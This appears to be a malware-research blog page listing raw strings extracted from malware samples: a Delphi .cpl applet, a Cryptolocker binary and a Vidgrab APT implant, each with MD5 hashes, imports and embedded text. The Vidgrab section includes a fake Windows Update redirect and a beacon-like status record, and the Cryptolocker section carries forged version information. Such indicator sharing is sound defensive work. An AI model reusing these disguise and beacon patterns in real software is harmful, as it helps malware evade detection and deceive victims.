need dictionary
stream end
file error
stream error
data error
insufficient memory
buffer error
incompatible version
1.2.3
$+C(
XZRP
$+C(Z^[
Invalid ZStream operation!
SVWP
Invalid ZStream operation!
ZYYd
_^[Y]
^[Y]
SVWQ
K0;K(u
S,;S(s
Z_^[
SVWU
D$(;C$v
+D$(
L$0Q
P ;S@v
P(;S@v
t^;|$
Et/B
Sh;S\r
Et/B
H#D$
D$ 3
T$!;
D$!;
D$!3
T$"f
D$!3
D$!3
D$!3
D$(f
Kd;Kh
H#D$
D$ 3
T$!;
T$$3
L$%#T$
T$ 3
L$%3
T$%+
L$!3
D$  t
D$ @t
;sHr
J#T$
H#D$
D$ 3
T$!;
T$$3
L$%#T$
T$ 3
L$%3
T$%+
L$!3
D$!+
D$ @t
;sHr
J#T$
;CDs
SD;T$
KD+L$
C0;D$
C(+D$
S@;T$
S@+CD
4]_^[
SVWU
]_^[
SVWU
]_^[
SVWUQ
)S<3
Z]_^[
SVWUQ
S4RU
Z]_^[
D$(#D$8
l$()t$,
t:;t$,v
J#T$(
l$()t$,
L$(#L$<
l$()t$,
;t$,v:
;t$,v
#T$(
l$()t$,
T$$J
`;t$ v?
L$ +
+t$ ;
T$$J;D$ v0
t$ +
L$ +
J#T$(
J#T$(
)D$,
!T$(
D_^[
]_^[
SVWUQ
Z]_^[
SVWU
]_^[
ZYYd
ZYYd
QSVW
ZYYd
QSVW
ZYYd
_^[Y]
ZYYd
SVW3
ZYYd
ZYYd
ZYYd
BC0134F10535E45C9731DE
9FC75DF8679748F93195B551F73DB45A8ABBCC
QQQQS
ZYYd
0202
62A2
SVWU
]_^[
ZYYd
ZYYd
ZYYd
ZYYd
[YY]
QSVW
ZYYd
ZYYd
ZYYd
67FB27CC74A54834316A8DB24D
03668CA2BF739F4E95CF58F6223D8287
35B45D95B2598AAF4687BF6EE10076
6081A158C470A25996D479B9
ZYYd
LX4CJRY6EMU2
SVW3
ZYYd
A8373DDD71F3050602
214D
C6111A32DA67F30C07
40AE
9AC654CC41CD54E37E
1442
0957DD77E278FA021062E87799B136D7
EB7A
E00F150C172C36C75A949EBA5DF572E072
CA1B
QSVW3
ZYYd
2E6F9B5AE4
09042EF707
0A0B37FE3E
4C49E933C2
A724D3688C
ZYYd
-0iB
TThreadGeral
QSVW3
ZYYd
1A7BAF4EE8
CBCA7FBF7E
2D689253ED
67A65393AD
68A55492AC
B1EC1DDD18
ZYYd
-4iB
AppletModuleActivate
TENU19GNV3BIQ
TENU19GNV3BIQ\
UnitSZ7ELT0G
r+C3
ZYYd
0956
085A8DAC4BED25C9
316D98E94DF254CE140172E9
67E915DB0A2FD91EDB
ZYYd
-<iB
ZYYd
Error
Runtime error     at 00000000
0123456789ABCDEF
@v:k
%.*d
TPF0
MS Sans Serif
1.2.3
incorrect header check
unknown compression method
invalid window size
unknown header flags set
header crc mismatch
invalid block type
invalid stored block lengths
too many length or distance symbols
invalid code lengths set
invalid bit length repeat
invalid literal/lengths set
invalid distances set
invalid literal/length code
invalid distance code
invalid distance too far back
incorrect data check
incorrect length check
 inflate 1.2.3 Copyright 1995-2005 Mark Adler
invalid distance too far back
invalid distance code
invalid literal/length code
 n;^
Qkkbal
i]Wb
9a&g
MGiI
wn>Jj
#.zf
+o*7
Z* ,
H$6t
52F*
#jT$
^6o}
[-&LMb#{'
w+OQvr
R1h58
SKyu
)\ZEo^m/
ru&o
i8P/
?(3w
H*0"ZOW
{kHw
)T`D
!AxU
l!;b
:1X:
y9*O
kM`~
Vc0a
dQy/
lDa>
7~8A
C-Yn
gqr<
$/o|
f-=v
mj>zjZ
l6qnk
IiGM>nw
1A26b
i91k
ewh/?y
*5KS
6~_'
F*.f
1wsHp
M8MF
Pe6^
#bML"
`F(>
vQO+t
[h1R
XsBI
hPU3
^oEZ_
2%k_
w3Xc
/P8i
OZw3(?
Z"0*
fP~V
^GP~
b;!l
V_:X1:
NJ2"v
O*9y]
fu`z
/yQA
&]|v
kernel32.dll
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
InitializeCriticalSection
VirtualFree
VirtualAlloc
LocalFree
LocalAlloc
GetVersion
GetCurrentThreadId
InterlockedDecrement
InterlockedIncrement
VirtualQuery
WideCharToMultiByte
MultiByteToWideChar
lstrlenA
lstrcpynA
LoadLibraryExA
GetThreadLocale
GetStartupInfoA
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetCommandLineA
FreeLibrary
FindFirstFileA
FindClose
ExitProcess
ExitThread
CreateThread
WriteFile
UnhandledExceptionFilter
RtlUnwind
RaiseException
GetStdHandle
user32.dll
GetKeyboardType
LoadStringA
MessageBoxA
CharNextA
advapi32.dll
RegQueryValueExA
RegOpenKeyExA
RegCloseKey
oleaut32.dll
SysFreeString
SysReAllocStringLen
SysAllocStringLen
kernel32.dll
TlsSetValue
TlsGetValue
TlsFree
TlsAlloc
LocalFree
LocalAlloc
kernel32.dll
WriteFile
WinExec
WaitForSingleObject
VirtualQuery
SizeofResource
SetFilePointer
SetEvent
SetEndOfFile
ResumeThread
ResetEvent
ReadFile
MulDiv
LockResource
LoadResource
LoadLibraryA
LeaveCriticalSection
InitializeCriticalSection
GlobalUnlock
GlobalReAlloc
GlobalHandle
GlobalLock
GlobalFree
GlobalAlloc
GetVersionExA
GetThreadLocale
GetStringTypeExA
GetStdHandle
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetLocalTime
GetLastError
GetFullPathNameA
GetFileAttributesA
GetExitCodeThread
GetEnvironmentVariableA
GetDiskFreeSpaceA
GetDateFormatA
GetCurrentThreadId
GetCPInfo
GetACP
FreeResource
InterlockedIncrement
InterlockedExchange
InterlockedDecrement
FreeLibrary
FormatMessageA
FindResourceA
FindFirstFileA
FindClose
FileTimeToLocalFileTime
FileTimeToDosDateTime
EnumCalendarInfoA
EnterCriticalSection
DeleteFileA
DeleteCriticalSection
CreateFileA
CreateEventA
CreateDirectoryA
CompareStringA
CloseHandle
gdi32.dll
UnrealizeObject
StretchBlt
SetTextColor
SetROP2
SetBkMode
SetBkColor
SelectPalette
SelectObject
RealizePalette
MoveToEx
GetTextMetricsA
GetSystemPaletteEntries
GetStockObject
GetObjectA
GetDeviceCaps
GetDIBits
GetCurrentPositionEx
GetBitmapBits
DeleteObject
DeleteDC
CreatePenIndirect
CreatePalette
CreateFontIndirectA
CreateDIBitmap
CreateCompatibleDC
CreateCompatibleBitmap
CreateBrushIndirect
CreateBitmap
user32.dll
ReleaseDC
PeekMessageA
MsgWaitForMultipleObjects
MessageBoxA
LoadStringA
LoadIconA
GetSystemMetrics
GetSysColor
GetIconInfo
GetDC
DrawIconEx
DestroyIcon
CreateIcon
CharNextA
CharUpperBuffA
CharToOemA
kernel32.dll
Sleep
oleaut32.dll
SafeArrayPtrOfIndex
SafeArrayGetUBound
SafeArrayGetLBound
SafeArrayCreate
VariantChangeType
VariantCopy
VariantClear
VariantInit
shell32.dll
ShellExecuteA
O5CMV4CKRZ7F.cpl
CPlApplet
0(0@0L0l0x0|0
111@1D1`1h1l1p1t1x1|1
2"2*222:2B2J2R2Z2b2j2r2z2
3&3/3P3X3
6)7]7i7
:%:8:B:H:V:\:d:v:
;0;6;>;H;_;j;
;"<8<
=/>5>N>W>`>k>t>{>
.040D0M0
1H1b1
2@2F2X2p2|2
3$3*3\3
3!4,454;4K4T4
5M6S6[6
8e9[;s;
>]>m>
2F3Z3b3x3
4"4,4?4o4
5!60696b6k6
7W7c7
9H9P9[9
:D:T:Z:`:f:k:q:z:
:X;`;
<.<C<M<R<q<v<{<
=E=R=h=
=E>U>
030Q0k0
2%363v3}3
8;8b8
8-9O9[9b9l9v9
:::O:`:j:r:z:
;/;7;\;d;r;w;
<$<6<C<O<\<n<t<
="=*=2=:=B=J=R=Z=b=j=r=z=
>">*>2>:>B>J>R>Z>b>j>r>z>
?"?*?2?:?B?J?R?Z?b?j?r?z?
#0/0<0N0T0\0d0l0t0|0
1$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,3;3G3T3f3l3x3
404P4X4\4`4d4h4l4p4t4x4
5 5$5(5,5<5\5d5h5l5p5t5x5|5
6 6$6(6,6064686<6L6l6t6x6|6
7 7(7,7074787<7@7D7H7X7x7
8(8084888<8@8D8H8L8P8`8
949<9@9D9H9L9P9T9X9\9p9
:,:L:T:X:\:`:d:h:l:p:t:
; ;$;(;8;X;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<P<p<x<|<
=$=,=0=4=8=<=@=D=H=L=d=q=y=
>X>\>`>d>h>l>p>
4,474D4I4
5c5t5
6+6G6P6
6M8a8h8
<Y>]>a>e>i>m>q>u>y>}>
>i?p?
4B5W5b6
9w9S:
>&?p?
)0w0
081?1|1
3@3T3h3
6;6O6
727>7\7
7D8U9
=Z=p=}=
>!>M>
>.?[?
1J2b2g2s2
393s3}3
4.4_4n4
6#6>6x6K7
;#;*;B;I;\;t;
<4<C<W<
=i>{>
>7?c?
0 0*0/050:0@0E0K0R0X0]0c0h0n0u0{0
0 1)12181I1T1Y1
414E4k4
7)7B7L7V7h7}7
7#8A8^8p8
9$9-9H9[9n9w9
:/:=:Q:o:
;/;7;T;a;><1=V=l=
>*>:>E>K>S>X>
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5$5(50545<5@5H5L5T5X5`5d5l5p5x5|5
6 6$6,60686<6D6H6P6T6\6`6h6l6t6x6
7&707;7E7P7Z7e7o7z7
8%80888=8c8
869l9y9
:D:Q:z:
;);X;
=&=.=6=m={=
>%>+>0>;>A>F>Q>W>\>g>m>r>}>
?"?-?3?8?C?I?N?Y?
1$1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
242T2\2`2d2h2l2p2t2x2|2
3$3(3,3034383<3@3D3`3
4(4H4P4T4X4\4`4d4h4l4p4
5 5$5(5,5054585<5@5\5|5
6(6H6P6T6X6\6`6d6h6l6p6
677F7]7
7'868M8u8
8]9l9
:%:4:K:Z:n:}:
:];k;z;
2/2J2`2
3(3p3
3H4x4
5/5G5]7a7e7i7m7q7u7y7}7
:X:u:
<"<&<*<.<2<6<:<><B<F<X<p<y>}>
051C1
4#4;4
4d5y5
7:7@7T7Y798^8k8v8
9&999F9
:":,:>:S:_:g:q:v:{:
; ;(;0;8;@;H;P;X;`;h;p;x;
<&?O?
1L1P1T1X1\1`1
4*404U4\4|4
585@5D5H5L5P5T5X5\5`5t5
6$6D6L6P6T6X6\6`6d6h6l6|6
707P7X7\7`7d7h7l7p7t7x7
8 8$8(8,8D8d8l8p8t8x8|8
9$9(9,9094989<9@9D9\9|9
:(:4:8:@:D:H:L:P:T:X:\:`:d:h:l:v:z:
;(;0;4;8;<;@;D;H;L;P;T;X;\;`;n;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
=$=4=D=L=P=T=X=\=`=d=h=l=p=t=x=|=
>%>)><>\>d>h>l>p>t>x>|>
?$?D?L?P?T?X?\?`?d?h?l?p?t?x?|?
040<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1(1014181<1@1D1H1L1P1d1
2 2$2(2,2024282F2X2x2
3j3n3r3v3z3~3
4 4$4(4,4044484<4J4t4x4|4
5$545@5D5L5P5T5X5\5`5d5h5l5p5t5x5|5
696`6|6
7 7$7Z7i7x7w9
;-;8;K;
;D<Q<
=8=E=R=g=l=
> >$>(>,>0>4>8>
#0H0X0w0
2-2:2N2U2o2
4'4Q4
7'7j7
878{8
899T9
:P;f;
=!=s=
=(>N>w>
>=?Z?
323H3
3?4\4
4"5G5o5
6&7C7x7
8C9y9
?$?u?|?
H0O0
3I4P4g4
6*6B6I6
787G7^7
9 9@9H9L9P9T9X9\9`9d9h9l9?:
<-<D<T<a<q<
<*=J=g=l=
=0>5>\>d>s>
%050
0Q1`1
:P:q:
=h>o>
0a0{0
101[1
595X5x5|5
7'8{8
:>;C;];
<N<U<
<<=k=
1R2Y2p2#3
3)494
4 5j5
9E9O9_9e9y9
:7:D:S:c:
;>;[;`;
;H<n<
>5>_>j>w>
1l2w2
8)8j8u8
9)9.9H9
9/:<:Z:f:l:
:(;P;\;b;N<W<e<u<~<
=g>s>z>
?#?0?<?O?[?e?l?v?}?
0$0D0L0P0T0X0\0`0d0h0l0
0B1F1J1N1R1j1x1|1
2 2$2,2<2J2N2`2
3,3<3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4
;(;F;S;
;b<g<
=7=<=z=
>#>L>Y>{>
?(?p?
%0A0H0
2/3a3
97:\:|:
=K=^>
-0=0T0d0
1&1C1
2V2q2
2)3;3
6,7<7
8'848C8a8
9 9(9,9094989<9@9D9H9
:W:c:n:x:
;&;7;A;R;^;j;{;
<'<3<@<R<X<g<s<
<-=1=8=i=m=t=
=[>_>c>g>k>p>
? ?$?(?,?0?4?8?F?N?b?f?j?n?r?
0=0e0i0m0
181H1T1X1`1d1h1l1p1t1x1|1
2B2}2
4J4W4`4m4w4}4
4-5H5X5
6X6s6
:#:6:D:`:d:l:p:t:x:|:
; ;$;(;D;d;l;p;t;x;|;
.0E0f0r1
1?2M2
4#4'4+4/43474;4?4C4G4K4O4S4W4[4_4c4g4k4o4s4G5h5
5*6E6X:
=Q>O?
4[4-888X9.<
W0c0p0
1>1s1
3!3B3
3G4b4
6O6\6
707@7g7
828S8z8
829P9/:<:F:K:S:Z:d:i:n:{:
;n;{;
< <G<g<
=.=F=b=
>[?f?
060C0}0
0g1s1z1
232>2_2q2
293Z3l3
3*4:4
5 5(50585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
5&6e6
7"7.797@7K7i7
888D8P8d8
9"9/9B9T9X9\9`9d9h9l9p9t9x9|9
:(:2:?:D:L:V:
<0@0D0
0<1D1H1l1p1
2 2$2(2d2l2t2|2
3L3P3T3X3\3`3d3h3l3p3t3x3|3
3 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5
mmmmmm
mmmmm******mmmmmmm
1YXXY*
nKLLKJm
RXXRRR
nKLL+LLSSLD
ttRSM$$$$$zzzn
zzzzuuRR
uzzzYS
yzzzzS
tzzzzS
ttKttL
&=O8
.<e&y
5c(9}
)O+!=
l<M]
6f}O
}|jk
<Oi,
w|w=9
?yf~
.%&2
vveg
v}xx
Gb3X
y*~0
o:X=
xW#l
XPle
86B*
j:i5
a51Ab?<dU@
@H<%
?AGC!| ?
Dw)(8
G}x.
2HYv
Z4;0
r``X
[$j!
x`\8
?3It
l/B+Hg
k>`D
\X41
z>/l)
+QO~
I0Us*X
>u6z
cjnw
_-\G
7_mm
=,21
Paa/?<
,&kb
biH]`
zEXa
Z19hz
<jTsZ
/F)"d
BT+B
;Ms.
yvoh
/lNR
^T=7F
#U8""
")=&K
 PWO#
^VFL
Pn~w
9Qz`b
3c41
8GlV
(pVL%`P
4q5@
hWOM
~K=d
|7h6
/>OS
<4nX
5K(V
!4Vk
gun^
pGt+
vYN7~sb
#:6aVf
kiVNZ
D!t9O
?J7^a
:lX:
Q\!]J
^"21
BF;<
>U#xZ0%l
DKCnE
Vlga
/,5z
z<<.J
ywL<
~@7<
`g5RT
dvX,
VR.{kp
zC]U
Q'0&
0JlH
eV<X
%c{,
b=}X
:|c[!
LU`!31
X+j1
2@01c
eSA6k
.2TK
gGT7
:OUT
&|#@'PW
V_`?
!B|"
4zRa078Ee
VGYIj
eF6)d.
H)2J
@>O#o
pWMz"
3)`)
N 4p9
ib29O
9P$|
<Z0}
/,(1
Ndt-
SDTk
|'iD
638!
3f a
M{=X:
@nzX
_4y%{d
 (CY
r}kT
>s "
y'HD
`>?9];
c+xu+)
(|w3#
uwg.
JnkFP
7-Md4
SU@/)
h:hl
=5!t
)?U;
JDBU
+*>E
,3,`
*|{FJ[Kl\
vd]5
edT`p
}[`-
oz!Qr<
8PsF
+VAX
e$OG)
3_23
ZMV"
\ML;5
W/a%
q,)6
d.BY
N~iw
6M=FG
ne_Y
{,!ZMf
QVNxh
#ce/e6
Sq8=
l\]|
LDkKf
~Hob
wHwB
b<:O
JLuF
@_YV^
-s,&
_`H?=
oy|g
w#{mI
e/Zo
1.'(B
nd3z
svIU
<f@Y
1!=?
/<?gY
Qx:4
O:YT
~N5J
7fy*
,/k^
bO5CMV4CKRZ7F
*ShellAPI
System
SysInit
KWindows
UTypes
ZLibEx
SysUtils
SysConst
^Classes
"RTLConsts
3Messages
CVariants
$VarUtils
QTypInfo
sActiveX
[CtlConsts
+Graphics
Consts
Unit18GNV3AI
UnitQX4CKQY5
vUnitBHPW4CJR
\UnitSZ7ELT0G
CtlPanel
TPF0
TENU19GNV3BIQ
ENU19GNV3BIQ
OldCreateOrder
OnActivate
AppletModuleActivate
Caption
ENU19GNV3BIQ
ResidIcon
ResidName
ResidInfo
Left
Height
Width

Unicode Strings:
---------------------------------------------------------------------------
jjjjj
jjjj
jjjj
jjjj
#+3;CScs
!1Aa
DVCLAL
LX4CJRY6EMU2
PACKAGEINFO
TENU19GNV3BIQ
MAINICON
333f3
f3fff
Property is read-only
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list
Property %s does not exist
Stream write error
Thread creation error: %s
Thread Error: %s (%d)
Bitmap image is not valid
Icon image is not valid!Cannot change the size of an icon
Out of system resources
Canvas does not allow drawing Clipboard does not support Icons.Invalid class reference for TAppletApplication
Class %s not found%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid property path
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d)+Out of memory while expanding memory stream
Error reading %s%s%s: %s
Stream read error
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Unable to create directory
Ancestor for '%s' not found
Cannot assign a %s to a %s*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
January
February
March
April
June
July
August
September
October
November
December
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error.  Code: %d.
A call to an OS function failed
)Variant or safe array index out of bounds
Variant or safe array is locked
Invalid variant type conversion
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Variant overflow
Invalid argument
Invalid variant type
Operation not supported
Unexpected variant error
External exception %x
Assertion failed
Interface not supported
Exception in safecall method
Floating point underflow
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Access violation
Stack overflow
Control-C hit
Privileged instruction(Exception %s in module %s at %p.
%s%s
Application Error
Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
Read
Write$Error creating variant or safe array
!'%s' is not a valid integer value
Out of memory
I/O error %d
File not found
Invalid filename
Too many open files
File access denied
Read beyond end of file
Disk full
Invalid numeric input
Division by zero
Range check error
Integer overflow Invalid floating point operation
Floating point division by zero
Floating point overflow

Tuesday, October 15, 2013

Cryptolocker strings - CRIME

File: Cryptolocker_9cbb128e8211a7cd00729c159815cb1c_crypt_1_sell23-09.exe_
MD5:  9cbb128e8211a7cd00729c159815cb1c
Size: 743424

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
Rich5>
.text
`.rdata
@.data
.rsrc
 crs
Qj@SR
\SVW
_KPP
--------snip
??$j+
*5>>AA99
F77::BB;;
::8822
:?u<5
::::6666
66BB<<:
8822
33664455U"`O
3366D
3377
8899
AA<<AA
228855F~\2w
66<<
AA;;;;A
>>>>
33EEAA
S766N
<Bx@@
vSzi
*s:z
::C:
C:Hnwd:4
Tr44BBCC
44::
2233
^];;8@
$8BZN#
AA99
::778833
EE>>DD
77@@>>
\71C
BB<<
1p,wu
22AA;;
2288
QN??88;;999sus9
AAAA22
<<66
::::88
UDD22
cR"U
C522
EE77
88<<
n^:2
z!qBBBB66EE
6644
\A::
>>77DD
C:~V[J
MJSe
66P/
FF33
EE@@
6666
6633
55EE
55559h
8==55FF
====
}#AA
ZU{5
;;==
==55??88
$'99
g$FOO
;;33
gDDAACCFF
99DD
2 28
AABBFF
.:9y33
99;;
77EE
BBCC
z377A
]s?AO
66EE
44;;D
5555
AABB
B"r]ez
e^iZ
rxD$
3355;
DD;;22
=0^c?FF
::R5
FFDD;;
<<33==::
7*88
::22
99AA
@@==
==44>>
33CC
!E!2I
LE?Sx
k}<H
R44::
2233
33>>22
.1<:
EE;;
;;me(fU1
5588
44==
::Bz
7744
,h"A
DD@@
??BB
KA]9
w&{9&
88DD
DD33==
AA55
)4r(
N5qe
33FF
BB999922::
3366
IDDT
44CCC*Y5
;;666699CC
/-W<
338866@@>D`
`N]2
)V*DD
5599
EE66
D_Cg;D
99BB==EE
==44
AJA0
3377
44EE7
CCEE
1MAA
LU@@!
==66
2255
6=_
>>BB
2244
??@@
AAAA
AA??AA
FG5x
FF22
";ImFA
33FF
@@^R
4499
/;;A
FFDD
==66B
33]nY=
44PJ
<<??99
4M+X8
99AA
77;;
::AA66
;@@>>@@
99EE<<
~Q>>
p\]BB=
??EE
CCFF<<
6/K"P
BBDD44
FF@@
O`AA
`JsS
~==@@
EE77
`j-<<
:(4U:FF
55;;
DD99
:WuM
j3:CC
1iD.
443366
>k3x3
K==~
;;AA::
AA88b
6l0%'
AA224477Z
AA<<
6A33
EEFF
fPWR
eEE2
3355BB
=qFK
<<77
2\8)DW
>>gk
66::
==66
kX+c
AA:/!7U:
::??
33553
Y8K'
DD;;
D0%p&7DDD66
::FF;;
>CC>>
7733
6~A44
{;E2>
52CC
 f7;;W-
::88DD;;BBCC
66FF
AA#N
>0q[<;;!
<<`Q
BB99
;;22
::DD
hfd6E
;;55
>>;;
:44xM
55BBy
22FF
qBB3
BB??
7744
99DDE
55^D
AA22
<<??
{]WS
7733>>
2299
vf88t
??==
@@33
>>99
M::4
EEBB7
BB>T~7
>@@-]2
AA33FFEE;7
;;AA77
@@YG
99;;
??DD
ZoCC3
FF99
=]^s
223D
;;@%#
e=yBEE!
;;??
.2:>
6633
33AABB
CCBB
3344W4
{A[%4
66::7744?
F;55}
@@5y
44::BBEE
[<`y@E
E6{me6::
==FRJ
F4488;;
NF@@
[88<
EEFF
pRN??
99;;
q:77
FF44Z@
z|==
C\qEE
??22W
BBAA
CC99
?AA3e?
`9:="
=DDDD66
ABB44
o@!GYB
t&23W|
y>>;;
88::77
D88s
7;;6622??
8844
22EE33
AhUZ
8&;;
r>>DGc
k9\z
CC<<
999C
XX-F
9933
DD;;>>??
@@aQ
@@55BB
>>44<<
36C?
??Y9C
;;EE
99??
`j77
??2277EE
;;CCAA4
??DD
22::44
nUEE
BBBB
DD44@@7-G
DD::
;;BB
CCEE
#CFF;;22
<<99
==AA@@
;;*,
??CC77
>>Du
]UvB
??66
$=88
;;22
@@;;
d"CC}
==>>
22EE
::669
6633
22EE
BB==AAe
@@DD
DDCC
@@66DDBB
n\==9944
3DI-
3@]V
@@66Du
/77p
BB7744
22;mt}S
44AA
22AABBDD
22AAB
S[X'
CC22
::6688
<D/K
s]<==
66AA
EEBB
4499>>Hk
BB;;;;:
AA9966
emAA
>N={
g@@EE
??22
`,jx7;8S
AA66
9-27
EEAA::EE
F33BB;;
>@co>BBg
33="
~s?$)a
'5;)
==DD
[5522
==77
Q~IBB
AA44
99::
]%@7
}mh{
>>3]wO
n@@fm
99p6
DDg&
==33
55::
33;;66
::99
55EE44;;;;@
@;;DD339988
66AA>>
7777
99FF4
DD9_
yr~9
^=/Z9%
77BB44
??FF
55CC
%N4(
2244
3333
FFDD;
?22tKyx
7tbd6q
DD3399??
77>>
gvNq
%@22
E!|44
FF88DD
9988
BBEEc
@@DD3H
AA@@
4422AA
J}m"
DDA,V
5~<<
+:BB
$mfEE
;;33
EE>d
>;;@@
<<22
;;33
6EEAA
>>@*
99DD25
CC==
DDFF
|e;;vQ
{|eV
"[LL
DLLf
tX35\b
Ch5B
hhdj
%UfE
DDbs
ysfj)W
NE5D
'[2>
}?}w
uunv"
KQcX
LLul|
9UeLL
_Jy&
X3tXz
F!jY1M
jjLLPP
DDPP
-ba~
H#hh
bkXu
#L9e:
PPPP
"S g9
SCardIntroduceReaderW
SCardStatusW
SCardForgetReaderW
SCardReleaseStartedEvent
SCardLocateCardsByATRW
SCardState
SCardGetAttrib
SCardIntroduceReaderGroupW
SCardCancel
SCardAddReaderToGroupW
SCardGetStatusChangeW
SCardReleaseContext
SCardListReadersW
SCardBeginTransaction
SCardControl
SCardForgetReaderGroupW
SCardSetAttrib
SCardLocateCardsA
SCardConnectW
SCardRemoveReaderFromGroupW
WinSCard.dll
VirtualFree
DeviceIoControl
GetCurrentProcess
Sleep
LocalAlloc
GetSystemInfo
VirtualAlloc
CopyFileW
MoveFileW
CreateDirectoryW
CloseHandle
GetStartupInfoW
DeleteFileW
VirtualProtect
CreateProcessW
LoadLibraryW
LocalFree
PrepareTape
GetTickCount
ResetEvent
HeapFree
GetVersionExA
HeapAlloc
GetProcessHeap
EnterCriticalSection
LeaveCriticalSection
TerminateProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsDebuggerPresent
GetProcAddress
GetModuleHandleA
ExitProcess
WriteFile
GetStdHandle
GetModuleFileNameA
GetModuleFileNameW
FreeEnvironmentStringsA
MultiByteToWideChar
GetEnvironmentStrings
FreeEnvironmentStringsW
GetLastError
GetEnvironmentStringsW
GetCommandLineA
GetCommandLineW
SetHandleCount
GetFileType
GetStartupInfoA
DeleteCriticalSection
TlsGetValue
TlsAlloc
TlsSetValue
TlsFree
InterlockedIncrement
SetLastError
GetCurrentThreadId
InterlockedDecrement
HeapDestroy
HeapCreate
QueryPerformanceCounter
GetCurrentProcessId
GetSystemTimeAsFileTime
RtlUnwind
GetCPInfo
GetACP
GetOEMCP
IsValidCodePage
WideCharToMultiByte
LoadLibraryA
InitializeCriticalSection
HeapReAlloc
GetConsoleCP
GetConsoleMode
FlushFileBuffers
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
GetLocaleInfoA
SetFilePointer
HeapSize
WriteConsoleA
GetConsoleOutputCP
WriteConsoleW
SetStdHandle
CreateFileA
KERNEL32.dll
                         
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                         
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ

Unicode Strings:
---------------------------------------------------------------------------
(null)
         (((((                  H
         h((((                  H
                                 H
rubmetal main slip
stream her million afraid
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Opposite2|3</> Corporation.
FileDescription
Opposite2|3</> Seedfact
FileVersion
2.1.460.695
InternalName
present.exe
LegalCopyright
 2005-2007 Opposite2|3</> Corporation. All rights reserved.
OriginalFilename
present.exe
ProductName
Opposite2|3</> Seedfact
ProductVersion
2.1.460.695
Mountainst
magnetpr
VarFileInfo
Translation

Sunday, September 8, 2013

Vidgrab strings - APT


File: Vidgrab_660709324ACB88EF11F71782AF28A1F0_DW20_.exe__
MD5:  660709324acb88ef11f71782af28a1f0
Size: 118784



....3
HTTP/1.1 301 Moved Permanently
Location:http://windowsupdate.microsoft.com/
Content-Type: text/html
Connection: Keep-Alive
<h1>Bad Request (Invalid Verb)</h1>
.....HK|(172.16.253.130)|1067|WinXP|D|L|No|0..0....1..52..|No|V2010-v24|2184|0|3111947|0|1|.
Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
@ANu
RZQV
_^[]
0XA;L$
QQSVW
Yj@h
5,0@
Pj(S
QSVW
CBOu
`SVW
RZV3
6f9O
u:hH
SSSS
Qj@j+@P
$VUh
_^][
0fA;M
Vu%h
VPhT
%D0@
%H0@
%L0@
%P0@
%T0@
%X0@
%\0@
%`0@
%d0@
%h0@
%l0@
hSVW
>"u:F
XPVSS
%t0@
%<0@
Sleep
GetTickCount
VirtualFreeEx
CloseHandle
GetModuleFileNameA
CreateFileA
SetSystemTime
GetLocalTime
GetCurrentThreadId
ResumeThread
GetStartupInfoA
GetVersion
ExpandEnvironmentStringsA
KERNEL32.dll
GetMessageA
PostThreadMessageA
GetInputState
USER32.dll
ADVAPI32.dll
SHSetValueA
SHDeleteValueA
SHLWAPI.dll
memset
__CxxFrameHandler
_except_handler3
strcat
??3@YAXPAX@Z
??2@YAPAXI@Z
memcpy
memcmp
fclose
fwrite
fopen
MSVCRT.dll
_exit
_XcptFilter
exit
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_controlfp
GetModuleHandleA
X[XXX\Z\
[]W\VH
ZHVG
01+x(*7?*9XX5x;9667,x:=x*-6xXX16x
x57<=vUUR|[\Zd[[
x\@e
1;0[
W\[H
Y\8XX
[H[\
XVySY^XX
PZVRZ\Z[
MZ]HZ\xZ\XXHZZ
XXZMx[JKp[PX[
^UZGZKZmZ[[k\l
]JX8{XX
ZT8yXX<ZPW[PH%
PUWQWHRHZ
RWWSv,= ,ZM
ZO\[Z
8v*<9,9X
{UZI|IT\GP]Z
hgXZC[P\
ZT^[Zp
v*=47;XX@
YZMZIK
XJZTR[ZO
RWWSWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH_\WHWH\H
m@xXH[#d
P-@^y
uZhZu
',HX
+V0X
ZBX[-P
